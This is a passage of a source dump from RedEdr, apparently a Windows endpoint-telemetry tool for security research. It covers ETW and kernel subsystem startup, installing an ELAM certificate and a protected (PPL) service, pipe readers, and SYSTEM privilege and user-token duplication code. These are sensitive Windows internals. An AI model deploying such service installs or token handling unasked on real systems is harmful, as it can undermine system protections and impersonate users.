FALSE;\n            }\n        }\n        if (g_Config.do_hook || g_Config.debug_dllreader) {\n            // Hook: Start DLL Reader Thread\n            LOG_A(LOG_INFO, \"Manager: InjectedDll reader thread start\");\n            if (!DllReaderInit(threads)) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to initialize DLL reader\");\n                return FALSE;\n            }\n        }\n\n        // Load: ETW-TI\n        if (g_Config.do_etwti) {\n            // Start PPL service first (if not already)\n            LOG_A(LOG_INFO, \"Manager: Start ETW-TI PPL service\");\n            if (!StartThePplService()) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to initialize PPL service\");\n                return FALSE;\n            }\n\n            // Start PPL Reader Thread for dedicated data pipe\n            // will wait for client connection\n            LOG_A(LOG_INFO, \"Manager: PPL Reader init\");\n            if (!PplReaderInit(threads)) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to initialize PPL reader\");\n                return FALSE;\n            }\n\n\n            // Connect to PPL service pipe\n            // it will connect back to the pipe created above when we connect\n            LOG_A(LOG_INFO, \"Manager: Connect to ETW-TI PPL service pipe\");\n            if (!ConnectPplService()) {\n                LOG_A(LOG_ERROR, \"ETW-TI: Failed to connect to PPL service pipe\");\n                return FALSE;\n            }\n\n            // notify service about initial target\n            LOG_A(LOG_INFO, \"Manager: Configure ETW-TI PPL\");\n            if (!EnablePplProducer(true, g_Config.targetProcessNames, g_Config.do_defendertrace)) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to enable PPL producer\");\n                return FALSE;\n            }\n        }\n\n        // ETW\n        if (g_Config.do_etw) {\n            g_ProcessResolver.SetTargetNames(g_Config.targetProcessNames);\n            LOG_A(LOG_INFO, \"Manager: ETW Reader init\");\n            if (!InitializeEtwReader(threads)) {\n                LOG_A(LOG_ERROR, \"Manager: Failed to initialize ETW reader\");\n                return FALSE;\n            }\n        }\n\n        // Kernel: Configuration (target process name etc.)\n        if (g_Config.do_kernel) {\n            LOG_A(LOG_INFO, \"Manager: Kernel module configuration\");\n            if (!ConfigureKernelDriver(1)) {\n                LOG_A(LOG_ERROR, \"Manager: Kernel module failed\");\n                return FALSE;\n            }\n        }\n\n        // Necessary? (wait for kernel and ETW-TI to connect)\n        //Sleep(1000);\n\n        // Populate process cache with all currently running processes\n        //LOG_A(LOG_INFO, \"Manager: Populating process cache with all running processes\");\n        if (!g_ProcessResolver.PopulateAllProcesses()) {\n            LOG_A(LOG_WARNING, \"Manager: Failed to populate process cache, continuing anyway\");\n            // Don't return FALSE here as this is not critical for core functionality\n        }\n        else {\n            // Log cache statistics after successful population\n            g_ProcessResolver.LogCacheStatistics();\n\n            // Start cleanup thread to remove stale processes every 30 minutes\n            g_ProcessResolver.StartCleanupThread(std::chrono::minutes(30));\n        }\n\n\t\tLOG_A(LOG_INFO, \"Manager: All subsystems started\");\n\n        return TRUE;\n    } catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"Manager: Exception in ManagerStart: %s\", e.what());\n        return FALSE;\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"Manager: FATAL unknown exception in ManagerStart (possible SEH/access violation)\");\n        return FALSE;\n    }\n}\n\n\nvoid ManagerShutdown() {\n    // ETW-TI\n    if (g_Config.do_etwti) {\n        PplReaderShutdown(); // needs to be first\n        DisablePplProducer();\n    }\n\n    // ETW\n    if (g_Config.do_etw) {\n        LOG_A(LOG_INFO, \"Manager: Stop ETW readers\");\n        EtwReaderStopAll();\n    }\n\n    // Hook / DLL injection\n    if (g_Config.do_hook || g_Config.debug_dllreader) {\n        LOG_A(LOG_INFO, \"Manager: Stop DLL reader\");\n        DllReaderShutdown();\n    }\n\n    // Kernel\n    if (g_Config.do_kernel) {\n        // Tell the driver to stop and disconnect its pipe end.\n        // This unblocks any ReadFile in the kernel reader thread before we join it.\n        LOG_A(LOG_INFO, \"Manager: Disable kernel driver collection\");\n        ConfigureKernelDriver(0);\n\n        LOG_A(LOG_INFO, \"Manager: Stop kernel reader\");\n        KernelReaderShutdown();\n    }\n\n    // Web server\n    if (g_Config.web_output) {\n        LOG_A(LOG_INFO, \"Manager: Stop web server\");\n        StopWebServer();\n    }\n\n    // Analyzer\n    LOG_A(LOG_INFO, \"Manager: Stop EventProcessor\");\n    StopEventProcessor();\n\n    // LogReader (stop flag only; thread polls every 1s)\n    LogReaderStopAll();\n}\n"
  },
  {
    "path": "RedEdr/manager.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <string>\n\nvoid ManagerShutdown();\nBOOL ManagerStart(std::vector<HANDLE>& threads);\nBOOL ManagerApplyNewTargets(std::vector<std::string> traceNames);"
  },
  {
    "path": "RedEdr/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.O365.Security.Krabsetw\" version=\"4.4.3\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "RedEdr/pplmanager.cpp",
    "content": "#include <stdio.h>\n#include <Windows.h>\n\n#include \"logging.h\"\n#include \"../Shared/common.h\"\n#include \"serviceutils.h\"\n#include \"pplmanager.h\"\n#include \"piping.h\"\n#include \"json.hpp\"\n\n\n// PplManager: Interact with the PPL service \n//   load elam driver, install/enable/disable service\n\n\nPipeClient pipeClient(\"RedEdr PplManager\");\n\nBOOL StartPplService();\nBOOL InstallPplService();\nBOOL InstallElamCertPpl();\n\n\nBOOL ConnectPplService() {\n    if (!pipeClient.Connect(PPL_SERVICE_PIPE_NAME)) {\n        LOG_A(LOG_ERROR, \"ETW-TI: Error connecting to RedEdrPplService pipe: error code %ld\", GetLastError());\n        LOG_A(LOG_ERROR, \"ETW-TI: Is RedEdrPplService running?\");\n        LOG_A(LOG_ERROR, \"ETW-TI:   (requires self-signed kernel and elam driver for ppl)\");\n        return FALSE;\n    }\n\treturn TRUE;\n}\n\n\nBOOL EnablePplProducer(BOOL e, std::vector<std::string> targetNames, bool doDefenderTrace) {\n    char buffer[PPL_CONFIG_LEN] = { 0 };\n    if (targetNames.empty()) {\n        LOG_A(LOG_WARNING, \"ETW-TI: No target names provided to EnablePplProducer\");\n\t\treturn FALSE;\n    }\n\n    try {\n        // Create JSON object with target names\n        nlohmann::json j;\n        j[\"command\"] = \"start\";\n        j[\"targets\"] = targetNames;\n        j[\"do_defendertrace\"] = doDefenderTrace;\n        \n        std::string json_str = j.dump();\n        \n        // Validate JSON string length to prevent buffer overflow\n        if (json_str.length() >= (PPL_CONFIG_LEN - 1)) {\n            LOG_A(LOG_ERROR, \"ETW-TI: JSON payload too long: %zu characters\", json_str.length());\n            return FALSE;\n        }\n        \n        // Copy JSON string to buffer\n        strncpy_s(buffer, PPL_CONFIG_LEN, json_str.c_str(), _TRUNCATE);\n\n        // Send JSON via pipe to PPL service\n        if (!pipeClient.Send(buffer)) {\n            LOG_A(LOG_INFO, \"ETW-TI: Error sending JSON to ppl service: %s\", buffer);\n            return FALSE;\n        }\n        LOG_A(LOG_DEBUG, \"ETW-TI: ppl reader: Enabled with targets JSON\");\n        \n        return TRUE;\n    }\n    catch (const std::exception& ex) {\n        LOG_A(LOG_ERROR, \"ETW-TI: JSON serialization error: %s\", ex.what());\n        return FALSE;\n    }\n}\n\n\nBOOL DisablePplProducer() {\n    char buffer[PPL_CONFIG_LEN] = { 0 };\n    \n    try {\n        // Create JSON object for shutdown command\n        nlohmann::json j;\n        j[\"command\"] = \"stop\";\n        \n        std::string json_str = j.dump();\n        \n        // Validate JSON string length\n        if (json_str.length() >= (PPL_CONFIG_LEN - 1)) {\n            LOG_A(LOG_ERROR, \"ETW-TI: Stop JSON payload too long: %zu characters\", json_str.length());\n            return FALSE;\n        }\n        \n        // Copy JSON string to buffer\n        strncpy_s(buffer, PPL_CONFIG_LEN, json_str.c_str(), _TRUNCATE);\n        \n        if (!pipeClient.Send(buffer)) {\n            LOG_A(LOG_ERROR, \"ETW-TI: Error writing stop JSON to named pipe: %ld\", GetLastError());\n            return FALSE;\n        }\n        LOG_A(LOG_INFO, \"ETW-TI: ppl reader: Disabled\");\n        return TRUE;\n    }\n    catch (const std::exception& ex) {\n        LOG_A(LOG_ERROR, \"ETW-TI: JSON serialization error for stop: %s\", ex.what());\n        return FALSE;\n    }\n}\n\n\nBOOL StartThePplService() {\n    if (!DoesServiceExist(SERVICE_NAME)) {\n        LOG_A(LOG_WARNING, \"ETW-TI: service %ls not found\", SERVICE_NAME);\n        LOG_A(LOG_WARNING, \"ETW-TI: Attempting to load elam driver\");\n        InstallElamCertPpl();\n        LOG_A(LOG_WARNING, \"ETW-TI: Attempting to install ppl service\");\n        InstallPplService();\n        LOG_A(LOG_WARNING, \"ETW-TI: Attempting to start ppl service\");\n        StartPplService();\n        Sleep(500);  // wait for it to start\n    }\n    if (!IsServiceRunning(SERVICE_NAME)) {\n        LOG_A(LOG_WARNING, \"ETW-TI: Attempting to start ppl service\");\n        InstallElamCertPpl(); // have to do this upon reboot\n        StartPplService();\n        Sleep(1000);  // wait for it to start\n    }\n    return TRUE;\n}\n\n\nBOOL ShutdownPplService() {\n\tLOG_A(LOG_INFO, \"ETW-TI: ShutdownPplService()\");\n    char buffer[PPL_CONFIG_LEN] = { 0 };\n    \n    try {\n        // Create JSON object for shutdown command\n        nlohmann::json j;\n        j[\"command\"] = \"shutdown\";\n        \n        std::string json_str = j.dump();\n        \n        // Validate JSON string length\n        if (json_str.length() >= (PPL_CONFIG_LEN - 1)) {\n            LOG_A(LOG_ERROR, \"ETW-TI: Shutdown JSON payload too long: %zu characters\", json_str.length());\n            return FALSE;\n        }\n        \n        // Copy JSON string to buffer\n        strncpy_s(buffer, PPL_CONFIG_LEN, json_str.c_str(), _TRUNCATE);\n        \n        if (!pipeClient.Send(buffer)) {\n            LOG_A(LOG_ERROR, \"ETW-TI: Error writing shutdown JSON to named pipe: %ld\", GetLastError());\n            return FALSE;\n        }\n        pipeClient.Disconnect();\n        return TRUE;\n    }\n    catch (const std::exception& ex) {\n        LOG_A(LOG_ERROR, \"ETW-TI: JSON serialization error for shutdown: %s\", ex.what());\n        return FALSE;\n    }\n}\n\n\nBOOL InstallElamCertPpl()\n{\n    DWORD retval = 0;\n    HANDLE fileHandle = NULL;\n    WCHAR driverName[] = DRIVER_NAME;\n\n    LOG_A(LOG_INFO, \"ETW-TI: install_elam_cert: Opening driver file: %ls\", driverName);\n    fileHandle = CreateFile(driverName,\n        FILE_READ_DATA,\n        FILE_SHARE_READ,\n        NULL,\n        OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL,\n        NULL\n    );\n    if (fileHandle == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"ETW-TI: install_elam_cert: CreateFile Error: %d\", GetLastError());\n        return FALSE;\n    }\n\n    if (InstallELAMCertificateInfo(fileHandle) == FALSE) {\n        LOG_A(LOG_ERROR, \"ETW-TI: install_elam_cert: install_elam_certificateInfo Error: %d\", GetLastError());\n        CloseHandle(fileHandle);\n        return FALSE;\n    }\n    LOG_A(LOG_INFO, \"ETW-TI: install_elam_cert: Installed ELAM driver cert\");\n\n    CloseHandle(fileHandle);\n    return TRUE;\n}\n\n\nBOOL InstallPplService()\n{\n    DWORD retval = 0;\n    SERVICE_LAUNCH_PROTECTED_INFO info;\n    SC_HANDLE hService;\n    SC_HANDLE hSCManager;\n    BOOL bSuccess = FALSE;\n\n    DWORD SCManagerAccess = SC_MANAGER_ALL_ACCESS;\n    hSCManager = OpenSCManager(NULL, NULL, SCManagerAccess);\n    if (hSCManager == NULL) {\n        LOG_A(LOG_ERROR, \"ETW-TI: install_service: OpenSCManager Error: %d\", GetLastError());\n        return FALSE;\n    }\n\n    WCHAR serviceCMD[PATH_LEN] = L\"c:\\\\RedEdr\\\\RedEdrPplService.exe\";\n\n    // Add PPL option\n    hService = CreateService(\n        hSCManager,\n        SERVICE_NAME,\n        SERVICE_NAME,\n        SCManagerAccess,\n        SERVICE_WIN32_OWN_PROCESS,\n        SERVICE_DEMAND_START,\n        SERVICE_ERROR_NORMAL,\n        serviceCMD,\n        NULL,\n        NULL,\n        NULL,\n        NULL, /* ServiceAccount */\n        NULL\n    );\n    if (hService == NULL) {\n        retval = GetLastError();\n        if (retval == ERROR_SERVICE_EXISTS) {\n            LOG_A(LOG_INFO, \"ETW-TI: install_service: CreateService: Service '%ls' Already Exists\", SERVICE_NAME);\n        }\n        else {\n            LOG_A(LOG_ERROR, \"ETW-TI: install_service: CreateService Error: %d\", retval);\n            CloseServiceHandle(hSCManager);\n            return FALSE;\n        }\n    }\n    else {\n        // Mark service as protected\n        info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT;\n        if (ChangeServiceConfig2(hService, SERVICE_CONFIG_LAUNCH_PROTECTED, &info) == FALSE) {\n            LOG_A(LOG_ERROR, \"ETW-TI: install_service: ChangeServiceConfig2 Error: %d\", GetLastError());\n            CloseServiceHandle(hService);\n            CloseServiceHandle(hSCManager);\n            return FALSE;\n        }\n        CloseServiceHandle(hService);\n    }\n\n    LOG_A(LOG_INFO, \"ETW-TI: install_service: Created Service: %ls\", serviceCMD);\n    CloseServiceHandle(hSCManager);\n    return TRUE;\n}\n\n\nBOOL StartPplService()\n{\n    SC_HANDLE hService;\n    SC_HANDLE hSCManager;\n    BOOL bSuccess = FALSE;\n\tDWORD retval = 0;\n    DWORD SCManagerAccess = SC_MANAGER_ALL_ACCESS;\n    hSCManager = OpenSCManager(NULL, NULL, SCManagerAccess);\n    if (hSCManager == NULL) {\n        LOG_A(LOG_ERROR, \"ETW-TI: install_service: OpenSCManager Error: %d\", GetLastError());\n        return FALSE;\n    }\n\n    // Start service\n    hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_START | SERVICE_QUERY_STATUS);\n    if (hService == NULL) {\n        LOG_A(LOG_ERROR, \"ETW-TI: OpenService failed, error: %d\", GetLastError());\n        CloseServiceHandle(hSCManager);\n        return FALSE;\n    }\n    bSuccess = StartService(hService, 0, NULL);\n    if (!bSuccess) {\n        retval = GetLastError();\n        CloseServiceHandle(hService);\n        CloseServiceHandle(hSCManager);\n        if (retval == ERROR_SERVICE_ALREADY_RUNNING) {\n            LOG_A(LOG_WARNING, \"ETW-TI: Service is already running\");\n            return TRUE;\n        }\n        else {\n            LOG_A(LOG_ERROR, \"ETW-TI: StartService failed, error: %d\", retval);\n            return FALSE;\n        }\n    }\n    else {\n        LOG_A(LOG_INFO, \"ETW-TI: Service started successfully\");\n    }\n\n    // Close handles\n    CloseServiceHandle(hService);\n    CloseServiceHandle(hSCManager);\n\n    return TRUE;\n}\n\n\n// No worky as no PPLy\nBOOL remove_ppl_service() {\n    DWORD retval = 0;\n    SC_HANDLE hSCManager;\n    SC_HANDLE hService;\n    SERVICE_STATUS_PROCESS ssp;\n    DWORD dwBytesNeeded;\n    LOG_A(LOG_INFO, \"ETW-TI: remove_service()\");\n    //LOG_A(LOG_INFO, \"[REDEDR_PPL] remove_service: Stopping and Deleting Service %s...\", SERVICE_NAME);\n\n    // Get Handle to Service Manager and Service\n    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\n    if (hSCManager == NULL) {\n        retval = GetLastError();\n        LOG_A(LOG_ERROR, \"ETW-TI: remove_service: OpenSCManager Error: %d\", retval);\n        return FALSE;\n\n    }\n    hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_ALL_ACCESS);\n    if (hService == NULL) {\n        retval = GetLastError();\n        LOG_A(LOG_ERROR, \"ETW-TI:  remove_service: OpenService Error: %d\", retval);\n        return FALSE;\n    }\n\n    // Get status of service\n    if (!QueryServiceStatusEx(\n        hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded)) {\n        retval = GetLastError();\n        LOG_A(LOG_ERROR, \"ETW-TI: remove_service: QueryServiceStatusEx1 Error: %d\", retval);\n        return FALSE;\n    }\n\n    if (ssp.dwCurrentState != SERVICE_STOPPED) {\n        // Send a stop code to the service.\n        if (!ControlService(hService, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS)&ssp)) {\n            retval = GetLastError();\n            LOG_A(LOG_ERROR, \"ETW-TI: remove_service: ControlService(Stop) Error: %d\", retval);\n            return FALSE;\n        }\n        if (ssp.dwCurrentState != SERVICE_STOPPED) {\n            // Wait for service to die\n            Sleep(1000);\n            if (!QueryServiceStatusEx(\n                hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded)) {\n                retval = GetLastError();\n                LOG_A(LOG_ERROR, \"ETW-TI: remove_service: QueryServiceStatusEx2 Error: %d\", retval);\n                return FALSE;\n            }\n            if (ssp.dwCurrentState != SERVICE_STOPPED) {\n                retval = ssp.dwCurrentState;\n                LOG_A(LOG_ERROR, \"ETW-TI: remove_service: Waited but service still not stopped: %d\", retval);\n                return FALSE;\n            }\n        }\n    }\n\n    // Service stopped, now remove it\n    if (!DeleteService(hService)) {\n        retval = GetLastError();\n        LOG_A(LOG_ERROR, \"ETW-TI: remove_service: DeleteService Error: %d\", retval);\n        return FALSE;\n    }\n\n    LOG_A(LOG_INFO, \"ETW-TI: remove_service: Deleted Service %ls\", SERVICE_NAME);\n\n    return TRUE;\n}\n"
  },
  {
    "path": "RedEdr/pplmanager.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <string>\n#include <vector>\n\nBOOL ConnectPplService();\nBOOL InstallElamCertPpl();\nBOOL InstallPplService();\nBOOL EnablePplProducer(BOOL e, std::vector<std::string> targetNames, bool doDefenderTrace = false);\nBOOL StartThePplService();\nBOOL ShutdownPplService();\nBOOL DisablePplProducer();\nBOOL remove_ppl_service();\n"
  },
  {
    "path": "RedEdr/pplreader.cpp",
    "content": "\n#include <windows.h>\n#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"../Shared/common.h\"\n#include \"logging.h\"\n#include \"pplreader.h\"\n#include \"piping.h\"\n#include \"event_aggregator.h\"\n\n\n// PplReader: Consumes events from PPL service (ETW-TI data)\n\n\n// Private Variables\nHANDLE hStopEventPpl = NULL;   // signaled to request thread stop\nHANDLE hPplThreadHandle = NULL; // stored thread handle for join/terminate\nHANDLE threadReadynessPpl;     // ready to accept clients\n\n\n// Private Function Definitions\nvoid PplReaderClient(PipeServer* pipeServer);\nDWORD WINAPI PplReaderThread(LPVOID param);\n\n\n// Init\nbool PplReaderInit(std::vector<HANDLE>& threads) {\n    hStopEventPpl = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventPpl == NULL) {\n        LOG_A(LOG_ERROR, \"PplReader: Failed to create stop event\");\n        return false;\n    }\n    threadReadynessPpl = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (threadReadynessPpl == NULL) {\n        LOG_A(LOG_ERROR, \"PplReader: Failed to create event for thread readiness\");\n        CloseHandle(hStopEventPpl);\n        hStopEventPpl = NULL;\n        return false;\n    }\n\n    HANDLE thread = CreateThread(NULL, 0, PplReaderThread, NULL, 0, NULL);\n    if (thread == NULL) {\n        LOG_A(LOG_ERROR, \"PplReader: Failed to create thread\");\n        CloseHandle(threadReadynessPpl);\n        threadReadynessPpl = NULL;\n        CloseHandle(hStopEventPpl);\n        hStopEventPpl = NULL;\n        return false;\n    }\n    hPplThreadHandle = thread;\n\n    // Wait for the client to connect (PPL service should already be running)\n    WaitForSingleObject(threadReadynessPpl, INFINITE);\n    Sleep(200); // it has to bind() n stuff\n    threads.push_back(thread);\n    return true;\n}\n\n\n// Pipe Reader Thread: Server\nDWORD WINAPI PplReaderThread(LPVOID param) {\n    LOG_A(LOG_DEBUG, \"!Ppl ReaderThread: begin\");\n\n    // Loop which accepts new clients\n    while (WaitForSingleObject(hStopEventPpl, 0) != WAIT_OBJECT_0) {\n        PipeServer* pipeServer = new PipeServer(\"RedEdr PplReader\", (wchar_t*) PPL_DATA_PIPE_NAME);\n        if (pipeServer == nullptr) {\n            LOG_A(LOG_ERROR, \"PplReader: Failed to create PipeServer\");\n            Sleep(1000); // Brief delay before retry\n            continue;\n        }\n        // Signal that the thread is ready\n        SetEvent(threadReadynessPpl);\n        \n        if (!pipeServer->StartAndWaitForClient(TRUE)) {\n            LOG_A(LOG_ERROR, \"PplReader: Failed to start pipe server or wait for client\");\n            pipeServer->Shutdown();\n            delete pipeServer;\n            Sleep(1000); // Brief delay before retry\n            continue;\n        }\n\n        LOG_A(LOG_INFO, \"PplReader: Client connected successfully\");\n\n        // Handle it here\n        PplReaderClient(pipeServer);\n\n        // We finished\n        LOG_A(LOG_INFO, \"PplReader: Client disconnected, shutting down this pipe\");\n        pipeServer->Shutdown();\n        delete pipeServer;\n    }\n    \n    LOG_A(LOG_DEBUG, \"!Ppl ReaderThread: end\");\n    return 0;\n}\n\n\n// Pipe Reader Thread: Process Client\nvoid PplReaderClient(PipeServer* pipeServer) {\n    if (pipeServer == nullptr) {\n        LOG_A(LOG_ERROR, \"PplReader: pipeServer is null\");\n        return;\n    }\n    LOG_A(LOG_INFO, \"PplReader: RedEdrPplService connected successful, starting event reception\");\n\n    while (WaitForSingleObject(hStopEventPpl, 0) != WAIT_OBJECT_0) {\n        try {\n            std::vector<std::string> results = pipeServer->ReceiveBatch();\n            if (results.empty()) {\n                LOG_A(LOG_INFO, \"PplReader: PPL service disconnected\");\n                break; // Client disconnected or error\n            }\n            for (const auto& result : results) {\n                if (!result.empty()) {\n                    //LOG_A(LOG_DEBUG, \"PplReader: Received PPL event: %s\", result.c_str());\n                    g_EventAggregator.NewEvent(result);\n                }\n            }\n        }\n        catch (...) {\n            LOG_A(LOG_ERROR, \"PplReader: Exception in receive loop\");\n            break;\n        }\n    }\n}\n\n\n// Shutdown\nvoid PplReaderShutdown() {\n    LOG_A(LOG_INFO, \"PPLReader: Shutdown\");\n\n    // Signal stop\n    if (hStopEventPpl != NULL) {\n        SetEvent(hStopEventPpl);\n    }\n\n    // Cancel any blocking I/O (ReceiveBatch or ConnectNamedPipe) on the worker thread\n    if (hPplThreadHandle != NULL) {\n        CancelSynchronousIo(hPplThreadHandle);\n    }\n\n    // Wait for thread to exit cleanly\n    if (hPplThreadHandle != NULL) {\n        if (WaitForSingleObject(hPplThreadHandle, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"PplReader: Thread did not exit in time, force-terminating\");\n            TerminateThread(hPplThreadHandle, 1);\n        }\n        CloseHandle(hPplThreadHandle);\n        hPplThreadHandle = NULL;\n    }\n\n    // Close event handles\n    if (hStopEventPpl != NULL) {\n        CloseHandle(hStopEventPpl);\n        hStopEventPpl = NULL;\n    }\n    if (threadReadynessPpl != NULL) {\n        CloseHandle(threadReadynessPpl);\n        threadReadynessPpl = NULL;\n    }\n}\n"
  },
  {
    "path": "RedEdr/pplreader.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n\n// PplReader: Consumes events from PPL service (ETW-TI data)\n\n// Public Functions\nbool PplReaderInit(std::vector<HANDLE>& threads);\nvoid PplReaderShutdown();\n"
  },
  {
    "path": "RedEdr/privileges.cpp",
    "content": "#include <iostream>\n#include <tchar.h>\n#include <windows.h>\n#include <wtsapi32.h>\n#include <sddl.h>\n\n#include \"logging.h\"\n#include \"privileges.h\"\n\nbool GetUserTokenForExecution(HANDLE& hTokenDup) {\n    HANDLE hToken = nullptr;\n    DWORD sessionId = 0;\n    WTS_SESSION_INFO* pSessionInfo = nullptr;\n    DWORD sessionCount = 0;\n\n    // Open the current process token to enable privileges\n    HANDLE hProcessToken = nullptr;\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken)) {\n        LOG_W(LOG_ERROR, L\"Failed to open process token, error: %d\", GetLastError());\n        return false;\n    }\n\n    EnablePrivilege(hProcessToken, SE_INCREASE_QUOTA_NAME);\n    EnablePrivilege(hProcessToken, SE_ASSIGNPRIMARYTOKEN_NAME);\n    EnablePrivilege(hProcessToken, SE_TCB_NAME);  // Required for WTSQueryUserToken\n    CloseHandle(hProcessToken);\n\n    // Re-open to verify\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {\n        LOG_W(LOG_ERROR, L\"Failed to re-open process token, error: %d\", GetLastError());\n        return false;\n    }\n\n    bool quota = CheckPrivilege(hProcessToken, SE_INCREASE_QUOTA_NAME);\n    bool token = CheckPrivilege(hProcessToken, SE_ASSIGNPRIMARYTOKEN_NAME);\n    bool tcb = CheckPrivilege(hProcessToken, SE_TCB_NAME);\n    CloseHandle(hProcessToken);\n\n    if (!quota || !token || !tcb) {\n        LOG_A(LOG_ERROR, \"Missing privileges (quota:%d, token:%d, tcb:%d)\", quota, token, tcb);\n        LOG_A(LOG_ERROR, \"Must be run as SYSTEM (e.g., psexec -s -i rededr.exe)\");\n        return false;\n    }\n\n    // Get active session ID\n    if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessionInfo, &sessionCount)) {\n        for (DWORD i = 0; i < sessionCount; ++i) {\n            if (pSessionInfo[i].State == WTSActive) {\n                sessionId = pSessionInfo[i].SessionId;\n                break;\n            }\n        }\n        WTSFreeMemory(pSessionInfo);\n    }\n    else {\n        LOG_W(LOG_ERROR, L\"Failed to enumerate sessions, error: %d\", GetLastError());\n        return false;\n    }\n\n    // Query and duplicate the user token\n    if (!WTSQueryUserToken(sessionId, &hToken)) {\n        DWORD err = GetLastError();\n        LOG_W(LOG_ERROR, L\"Failed to query user token (session %d), error: %d\", sessionId, err);\n        if (err == ERROR_PRIVILEGE_NOT_HELD) {\n            LOG_W(LOG_ERROR, L\"This process must be running as SYSTEM.\");\n        }\n        return false;\n    }\n\n    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenPrimary, &hTokenDup)) {\n        LOG_W(LOG_ERROR, L\"Failed to duplicate token, error: %d\", GetLastError());\n        CloseHandle(hToken);\n        return false;\n    }\n\n    CloseHandle(hToken);\n    return true;\n}\n\n\nbool EnablePrivilege(HANDLE hToken, LPCWSTR privilege) {\n    TOKEN_PRIVILEGES tp;\n    LUID luid;\n\n    if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {\n        LOG_W(LOG_ERROR, L\"Failed to look up privilege %s, error: %d\", privilege, GetLastError());\n        return false;\n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr)) {\n        LOG_W(LOG_ERROR, L\"Failed to adjust token privileges for %s, error: %d\", privilege, GetLastError());\n        return false;\n    }\n\n    return GetLastError() != ERROR_NOT_ALL_ASSIGNED;\n}\n\n\nbool CheckPrivilege(HANDLE hToken, LPCWSTR privilege) {\n    PRIVILEGE_SET privSet;\n    privSet.PrivilegeCount = 1;\n    privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;\n\n    if (!LookupPrivilegeValueW(nullptr, privilege, &privSet.Privilege[0].Luid)) {\n        LOG_W(LOG_ERROR, L\"Failed to look up privilege %s, error: %d\", privilege, GetLastError());\n        return false;\n    }\n\n    BOOL hasPrivilege;\n    if (!PrivilegeCheck(hToken, &privSet, &hasPrivilege)) {\n        LOG_W(LOG_ERROR, L\"Privilege check failed for %s, error: %d\", privilege, GetLastError());\n        return false;\n    }\n\n    return hasPrivilege;\n}\n\n\nbool RunsAsSystem() {\n    HANDLE hToken = nullptr;\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        return false;\n    }\n\n    DWORD size = 0;\n    GetTokenInformation(hToken, TokenUser, nullptr, 0, &size);\n\n    PTOKEN_USER pUser = (PTOKEN_USER)malloc(size);\n    if (!GetTokenInformation(hToken, TokenUser, pUser, size, &size)) {\n        CloseHandle(hToken);\n        free(pUser);\n        return false;\n    }\n\n    LPWSTR sidString = nullptr;\n    ConvertSidToStringSid(pUser->User.Sid, &sidString);\n    bool isSystem = (wcscmp(sidString, L\"S-1-5-18\") == 0); // SID for LocalSystem\n\n    LocalFree(sidString);\n    free(pUser);\n    CloseHandle(hToken);\n    return isSystem;\n}\n\n\nBOOL RunsAsSystem_bak() {\n    HANDLE hToken = NULL;\n\n    // Open the current process token\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        std::cerr << \"Failed to open process token. Error: \" << GetLastError() << std::endl;\n        return false;\n    }\n\n    // Get the size of the token information\n    DWORD dwBufferSize = 0;\n    GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize);\n    if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {\n        std::cerr << \"Failed to get token information size. Error: \" << GetLastError() << std::endl;\n        CloseHandle(hToken);\n        return false;\n    }\n\n    // Allocate buffer for the token information\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(dwBufferSize);\n    if (!pTokenUser) {\n        std::cerr << \"Memory allocation failed.\" << std::endl;\n        CloseHandle(hToken);\n        return false;\n    }\n\n    // Retrieve the token information\n    if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwBufferSize)) {\n        std::cerr << \"Failed to get token information. Error: \" << GetLastError() << std::endl;\n        free(pTokenUser);\n        CloseHandle(hToken);\n        return false;\n    }\n\n    // Convert the SID to a string\n    LPTSTR sidString = NULL;\n    if (!ConvertSidToStringSid(pTokenUser->User.Sid, &sidString)) {\n        std::cerr << \"Failed to convert SID to string. Error: \" << GetLastError() << std::endl;\n        free(pTokenUser);\n        CloseHandle(hToken);\n        return false;\n    }\n\n    // Check if the SID corresponds to SYSTEM\n    bool isSystem = 